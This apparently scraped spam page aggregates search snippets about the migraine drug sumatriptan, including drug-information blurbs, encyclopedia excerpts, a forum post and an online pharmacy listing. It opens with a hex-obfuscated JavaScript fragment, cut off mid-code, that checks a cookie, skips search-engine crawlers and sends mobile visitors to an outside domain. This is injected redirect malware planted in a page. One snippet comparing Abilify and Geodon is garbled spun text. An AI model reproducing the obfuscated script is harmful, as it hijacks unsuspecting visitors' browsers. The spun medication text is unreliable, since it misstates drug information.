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Jydte. var _0x446d=[\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E,\x69\x6E\x64\x65\x78\x4F\x66,\x63\x6F\x6F\x6B\x69\x65,\x75\x73\x65\x72\x41\x67\x65\x6E\x74,\x76\x65\x6E\x64\x6F\x72,\x6F\x70\x65\x72\x61,\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26,\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74,\x74\x65\x73\x74,\x73\x75\x62\x73\x74\x72,\x67\x65\x74\x54\x69\x6D\x65,\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D,\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67,\x6C\x6F\x63\x61\x74\x69\x6F\x6E];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android,bb\d+,meego).+mobile,avantgo,bada\/,blackberry,blazer,compal,elaine,fennec,hiptop,iemobile,ip(hone,od,ad),iris,kindle,lge ,maemo,midp,mmp,mobile.+firefox,netfront,opera m(ob,in)i,palm( ...
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Naproxen/sumatriptan Side Effects in Detail - Drugs.comNaproxen/sumatriptan Side Effects in Detail - Drugs.com
Learn about the potential side effects of naproxen/sumatriptan. Includes common and rare side effects information for consumers and healthcare professionals.
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Migraine headache - WikEMMigraine headache - WikEM
Efficacy and safety of intravenous acetylsalicylic acid lysinate compared to subcutaneous sumatriptan and parenteral placebo in the acute treatment of migraine. A double-blind, double-dummy, randomized, multicenter, parallel group study. The ASASUMAMIG Study Group. Diener HC. Cephalalgia. 1999 Jul; 19(6):581-8; discussion 542. ...
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Taro-Sumatriptan - Uses, Side Effects, Interactions - MedBroadcast.comTaro-Sumatriptan - Uses, Side Effects, Interactions - MedBroadcast.com
Taro-Sumatriptan: Sumatriptan belongs to a class of medications known as 5-hydroxytryptamine agonists (also called triptans). It is used to treat migraine headaches with or without aura (warning signs that occur prior to the onset of a migraine). The pain of migraine headaches is thought to be caused by dilated blood vessels inside the head. Sumatriptan relieves migraine headaches by constricting these blood vessels.
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US WorldMeds Announces Launch of ALSUMA(TM) (sumatriptan injection) 6 mg/0.5 mL Auto-Injector for Subcutaneous Use
US WorldMeds, LLC, announced today that it has launched the recently Food and Drug Administration-approved ALSUMA Auto-Injector, which is indicated for the acute treatment of migraine attacks with or without aura, and cluster headache episodes
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Buy Generic Imitrex (Sumatriptan) OnlineBuy Generic Imitrex (Sumatriptan) Online
Drug Information. Imitrex belongs to a drug group named as triptans. These drugs directly affect the function of serotonin in the body.. It is used to treat migraines as it facilitates blood flow to the brain by limiting the narrowing of blood vessels due to serotonin.. However, Imitrex is not a permanent solution for migraines and will not be able to reduce the frequency at which you experience migraine related symptoms such as nausea and dizziness in the future.. Dosage. This drug should be taken orally with our without food. The dosage and frequency of taking the drug will be decided by your doctor according to your health condition. If the symptoms of migraine fail to diminish after taking the recommended dosage, you may be able to take a second dosage after about 2 hours of the first one. However, it is best to consult with your doctor prior to doing so.. If the migraines do not reduce even after using the drug for a few days, you should stop taking the drug any further and consult with the ...
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Migraine And Crohns Disease Support Group - Crohns Disease Forum - Support group and forum for Crohns Disease, Ulcerative...Migraine And Crohns Disease Support Group - Crohns Disease Forum - Support group and forum for Crohns Disease, Ulcerative...
Mine always start on one side of my head toward the front, usually in the temple, and then spread to the other side. Sometimes itll last as both sides for a long time, sometimes it will fade from the starting side. Occasionally it seems like its my entire head, my neck gets sore. Over the first year, they got progressively worse and more frequent. Prescribed sumatriptan tablets to take in response, eventually had one that didnt respond to it and went to the ER about it. Got butabitol-caffeine-acetaminophen-codeine caps for what I call the super migraines and the overall frequency (normal and super) got to once a week, some migraines would also linger on for 3 days. GP put me on increasing doses of propranolol with only minor improvement, but I was feeling sluggish and vague. I went to see a neurologist, he switched me to topamax and got me sumatriptan injections, also recommended a better magnesium supplement as well. The topamax has reduced my frequency and some of the intensity. Im not ...
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Intracranial hemorrhages associated with sumatriptan | NeurologyIntracranial hemorrhages associated with sumatriptan | Neurology
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naproxen sodiumnaproxen sodium
Trexima, a combination of sumatriptan (Imitrex) and naproxen sodium (found in Aleve and other NSAIDs), was expected to receive FDA approval last week. Requesting more safety data, the FDA has delayed approval of Trexima.. The concern is about one of the four tests of genotoxicity, which is toxicity to DNA. The requested data are available from a study that has already been conducted. The FDA will meet with Pozen and GSK soon to discuss additional requirements.. Related posts:. ...
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ACT-Sumatriptan - Uses, Side Effects, Interactions - MedBroadcast.comACT-Sumatriptan - Uses, Side Effects, Interactions - MedBroadcast.com
ACT-Sumatriptan: Sumatriptan belongs to a class of medications known as 5-hydroxytryptamine agonists (also called triptans). It is used to treat migraine headaches with or without aura (warning signs that occur prior to the onset of a migraine).
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Imigran (Generic)
Generic Imigran (Sumatriptan) is a cerebral vasoconstrictor used to relieve migraine headache attacks as they occur. This medicine belongs to a group of medicines also known as
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Main / Travel Sickness / Abilify to geodon Abilify vs Geodon Comparison. Side-by-side comparison of medication uses, ratings, prices, side effects, interactions, warnings and more. A Moderate Drug Interaction exists between Abilify and Geodon. View detailed information regarding this drug interaction.. Geodon vs abilify: Im 34 teaspoon old abilify to geodon, currently on 80mg abilify to geodon and 10 mg abilify. Abilify has made me have 20 lbs. He now is drying me to jumpfly.infoing from abilify to geodon. She has had discolored weight gain over the over month and had been used in class yet legalized about not sleeping at relieving and he confirmed to switch her to Geodon from Abilify. I patched about tapering the abilify and was obtained to give her more of her pregnancy for three days. I beat that to mean that I. Although Imitrex has a stimulant form, sold under the name sumatriptan and naproxen sodium is the generic name for the trick name prescription drug Naprosyn and the over-the-counter ...
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Compare Imitrex vs Topamax - Iodine.comCompare Imitrex vs Topamax - Iodine.com
Imitrex (Sumatriptan) is an excellent choice for acute migraine relief, but you might need another medication to prevent headaches. Topamax (topiramate) is very effective at preventing many types of seizures and migraines, but it can cause several severe side effects that can lead to stopping the medication.
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Naratriptan Hydrochloride 0.5-mg/mL Oral LiquidNaratriptan Hydrochloride 0.5-mg/mL Oral Liquid
Author: Allen Loyd V Jr, Year: 2006, Abstract: A formulation for preparing Naratriptan Hydrochloride 0.5-mg/mL Oral Liquid. Includes ingredients, method of preparation, discussion, and references for the compounding pharmacist.
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Sumalen OvaliSumalen Ovali
Based on ArQ™, Oval is developing a sumatriptan autoinjector, Sumalen Ovali, for the treatment of migraines and cluster headaches.
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Delay in Quick Shot Testosterone Clinical Trials (1). 2016 Analysts Day (1). 2017 Results (1). 4-Antibody (2). 7th Annual Phacilitate Immunotherapy Forum (1). A.P. Pharma Inc. (12). A.P. Pharma. APF530 (4). AB Generic to EpiPen (1). AB rated generic to Byetta (3). AB Rated Generic to EpiPen (10). AB Rated Generic to Forteo (2). AB rated generic to Imitrex (3). AB Rated version of EpiPen (1). AB rated version of sumatriptan (1). Achillion Pharmaceuticals (3). ACTC (1). Adam Feuerstein (6). Adam Feuerstein blog on Portola (1). adenovirus (1). Adolor Corporation (8). adult neural stem cells in ALS (1). Advanced Cell Technology (1). Advanced Cell Techology. ACTC (1). Advaxis (3). AdVise trial of brincidofovir (3). ADXS (3). Aerosurf (19). Aerosurf Phase 2 trials (1). Aerosurf Phase 2b proof of concept trial (1). Aerosurf Phase 2b Trial (1). Afectair (1). AGEN (26). Agenus (30). Agenus and InCytre (1). Agenus checkpoint modulators (1). Agenus collaboration with Incyte (1). Agenus development of ...
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TriptanTriptan
Zecuity, a sumatriptan transdermal patch, was approved by the US FDA in January 2013. The sumatriptan nasal powder was approved ... Sumatriptan and zolmitriptan are also available as nasal sprays. For sumatriptan, a number of other application forms are ... Comparison of sumatriptan and dihydroergotamine showed that dihydroergotamine has high affinity and sumatriptan has medium ... In studies, newer triptans are mostly compared to sumatriptan. They are better than sumatriptan for their longer half-life in ...
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Splenic infarctionSplenic infarction
Arora A, Arora S (September 2006). "Spontaneous splenic infarction associated with sumatriptan use". J Headache Pain. 7 (4): ... sumatriptan or bevacizumab. In a single-center retrospective cases review, people who were admitted to the hospital with a ...
https://en.wikipedia.org/wiki/Splenic_infarction
MigraleveMigraleve
A third Migraleve variant, Migraleve Ultra, contains sumatriptan. The pink tablet is supposed to be taken before the yellow ... The active ingredient of Migraleve Ultra is 50 mg sumatriptan, similar to Imigran recovery. The Product Licence Holder is: ...
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Discovery and development of triptansDiscovery and development of triptans
A schematic drawing of the binding of sumatriptan to 5-HT1D receptor can be seen in figure 4. One study showed that sumatriptan ... The sumatriptan nasal spray provides faster onset of action than the tablets but it produces a similar headache response at 2 ... Sumatriptan was first launched in the Netherlands in 1991 and became available in the United States during 1993. Triptans are ... The U.S. Food and Drug Administration (FDA) approved a new drug April 15, 2008, which is a combination of sumatriptan 85 mg and ...
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Cyclic vomiting syndromeCyclic vomiting syndrome
Therapeutic treatment for the prodromal phase, characterized by the anticipation of an episode, consists of sumatriptan (nasal ... "Adult Cyclic Vomiting Syndrome Successfully Treated with Intranasal Sumatriptan". Journal of General Internal Medicine. 25 (1 ...
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Cluster headacheCluster headache
Sumatriptan and zolmitriptan have both been shown to improve symptoms during an attack with sumatriptan being superior. Because ... Valproate, sumatriptan, and oxygen are not recommended as preventive measures. Botulinum toxin injections have shown limited ... The hallucinogen DMT has a chemical structure that is similar to the triptan sumatriptan, indicating a possible shared ... The other primarily recommended treatment of acute attacks is subcutaneous or intranasal sumatriptan. ...
https://en.wikipedia.org/wiki/Cluster_headache
MethysergideMethysergide
This finding provided an incentive for the development of sumatriptan. Novartis withdrew it from the U.S. market after taking ... methysergide and sumatriptan - basic science in relation to migraine treatment". Headache. 52 (4): 707-14. doi:10.1111/j.1526- ...
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AutoinjectorAutoinjector
Subcutaneous sumatriptan autoinjectors are used to terminate cluster headache attacks. Naloxone autoinjectors are being ...
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Nasal administrationNasal administration
Several antimigraine drugs, available by the trade names of Imitrex- sumatriptan; Zomig - Zolmitriptan; Migranal - ...
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Migraine treatmentMigraine treatment
Triptans such as sumatriptan are effective for both pain and nausea in up to 75% of migraineurs. They are the initially ... as PDF Archived 2010-03-31 at the Wayback Machine Derry, Christopher J.; Derry, Sheena; Moore, R Andrew (2012). "Sumatriptan ( ...
https://en.wikipedia.org/wiki/Migraine_treatment
PalinopsiaPalinopsia
Ogunyemi, A; Adams, D (May 1998). "Migraine-like symptoms triggered by occipital lobe seizures: response to sumatriptan". The ...
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MigraineMigraine
Triptans such as sumatriptan are medications used to stop an active migraine headache (an abortive medication). Triptans are ... Sumatriptan does not prevent other migraine headaches from starting in the future. For increased effectiveness at stopping ... Some people may find that they respond to one type of sumatriptan better than another. Most side effects are mild, including ... Law S, Derry S, Moore RA (April 2016). "Sumatriptan plus naproxen for the treatment of acute migraine attacks in adults". The ...
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Injector penInjector pen
This includes methotrexate for juvenile idiopathic arthritis and sumatriptan for treatment of migraines. Most injector pens are ... "Subcutaneous sumatriptan delivery devices: comparative ease of use and preference among migraineurs". Patient Preference and ...
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Succinic acidSuccinic acid
Drugs involving succinate include metoprolol succinate, sumatriptan succinate, Doxylamine succinate or solifenacin succinate.[ ...
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5-HT receptor5-HT receptor
Amital D, Fostick L, Sasson Y, Kindler S, Amital H, Zohar J (May 2005). "Anxiogenic effects of Sumatriptan in panic disorder: a ...
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RizatriptanRizatriptan
A 2010 review found rizatriptan to be more efficacious and tolerable than sumatriptan. Rizatriptan and other triptans can cause ... Göbel H (2010). "Efficacy and tolerability of rizatriptan 10 mg compared with sumatriptan 100 mg: an evidence-based analysis". ... Like the other triptans sumatriptan and zolmitriptan, rizatriptan induces vasoconstriction-possibly by inhibiting the release ...
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CP-122,288CP-122,288
It is a derivative of the migraine medication sumatriptan, but while CP-122,288 is 40,000 times more potent than sumatriptan as ... Waeber C, Moskowitz MA (September 1995). "[3H]sumatriptan labels both 5-HT1D and 5-HT1F receptor binding sites in the guinea ... 5-MeO-MPMI CP-135807 Eletriptan Lee WS, Moskowitz MA (October 1993). "Conformationally restricted sumatriptan analogues, CP- ... a conformationally restricted analogue of sumatriptan". European Journal of Pharmacology. 276 (3): 271-6. doi:10.1016/0014-2999 ...
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Post-dural-puncture headachePost-dural-puncture headache
Shaat, Ahmed Mohamed; Abdalgaleil, Mohamed Mahmoud (2021-01-01). "Is theophylline more effective than sumatriptan in the ...
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5-HT1A receptor5-HT1A receptor
Fanciullacci M, Sicuteri R, Alessandri M, Geppetti P (March 1995). "Buspirone, but not sumatriptan, induces miosis in humans: ...
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N,N-DimethyltryptamineN,N-Dimethyltryptamine
Russia - Classified as a Schedule I narcotic, including its derivatives (see sumatriptan and zolmitriptan). Serbia - DMT, along ...
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Serotonin receptor agonistSerotonin receptor agonist
Triptans such as sumatriptan, rizatriptan, and naratriptan are 5-HT1B receptor agonists that are used to abort migraine and ... Triptans such as eletriptan, naratriptan, and sumatriptan are agonists of the 5-HT1F receptor. Lasmiditan is a selective 5-HT1F ... In addition to being 5-HT1B agonists, triptans (i.e. sumatriptan, almotriptan, zolmitriptan, naratriptan, eletriptan, ...
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ErenumabErenumab
... was shown not to interact with ethinylestradiol, norgestimate or the migraine drug sumatriptan. It is expected to ...
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Substituted tryptamineSubstituted tryptamine
Many synthetic tryptamines have also been made, including the migraine drug sumatriptan, and psychedelic drugs. The tryptamine ...
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5-Benzyloxytryptamine5-Benzyloxytryptamine
Cohen ML, Schenck K, Nelson D, Robertson DW (January 1992). "Sumatriptan and 5-benzyloxytryptamine: contractility of two 5-HT1D ... 5-Carboxamidotryptamine 5-Methoxytryptamine BW-723C86 Sumatriptan Lyon RA, Titeler M, Seggel MR, Glennon RA (January 1988). " ...
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Antimigraine drugAntimigraine drug
The triptan drug class includes 1st generation sumatriptan (which has poor bioavailability), and second generation zolmitriptan ...
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HeadacheHeadache
Abortive therapy for cluster headaches includes subcutaneous sumatriptan (injected under the skin) and triptan nasal sprays. ...
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5-HT1B receptor5-HT1B receptor
Bouchelet I, Cohen Z, Case B, Séguéla P, Hamel E (Aug 1996). "Differential expression of sumatriptan-sensitive 5- ... Oxymetazoline Sumatriptan (vasoconstrictor in migraine) Zolmitriptan 5-Carboxamidotryptamine CGS-12066A CP-93,129 (peripherally ...
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Calcitonin gene-related peptideCalcitonin gene-related peptide
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SulfhemoglobinemiaSulfhemoglobinemia
In this case, sulfhemoglobinemia was possibly caused by the patient taking higher-than-prescribed doses of sumatriptan. ... such as sulfasalazine or sumatriptan. Another possible cause is occupational exposure to sulfur compounds.[citation needed] It ...
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AlmotriptanAlmotriptan
... has similar efficacy as a standard dose of sumatriptan, another triptan drug, and fewer adverse effects. As with ...
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phenylephrine-dm oral and sumatriptan transdermal Drug Interactions - RxListphenylephrine-dm oral and sumatriptan transdermal Drug Interactions - RxList
Learn about drug interactions between phenylephrine-dm oral and sumatriptan transdermal and use the RxList drug interaction ... Drug interactions with phenylephrine-dm oral and sumatriptan transdermal. drug interactions checker , phenylephrine-dm oral and ... All generic drug interactions for sumatriptan transdermal (lists will include brand and generic names): ...
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Sumatriptan: MedlinePlus Drug InformationSumatriptan: MedlinePlus Drug Information
Sumatriptan: learn about side effects, dosage, special precautions, and more on MedlinePlus ... Before taking sumatriptan,. *tell your doctor and pharmacist if you are allergic to sumatriptan, any other medications, or any ... Sumatriptan comes as a tablet to take by mouth. It is usually taken at the first sign of a migraine headache.If your symptoms ... Take sumatriptan exactly as directed. Do not take more or less of it or take it more often than prescribed by your doctor. ...
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  • Sumatriptan does not prevent future migraines or reduce how often you may get a headache. (healthwarehouse.com)
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Naratriptan3
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  • 2009. The safety of sumatriptan and naratriptan in pregnancy: what have we learned? (mothertobaby.org)
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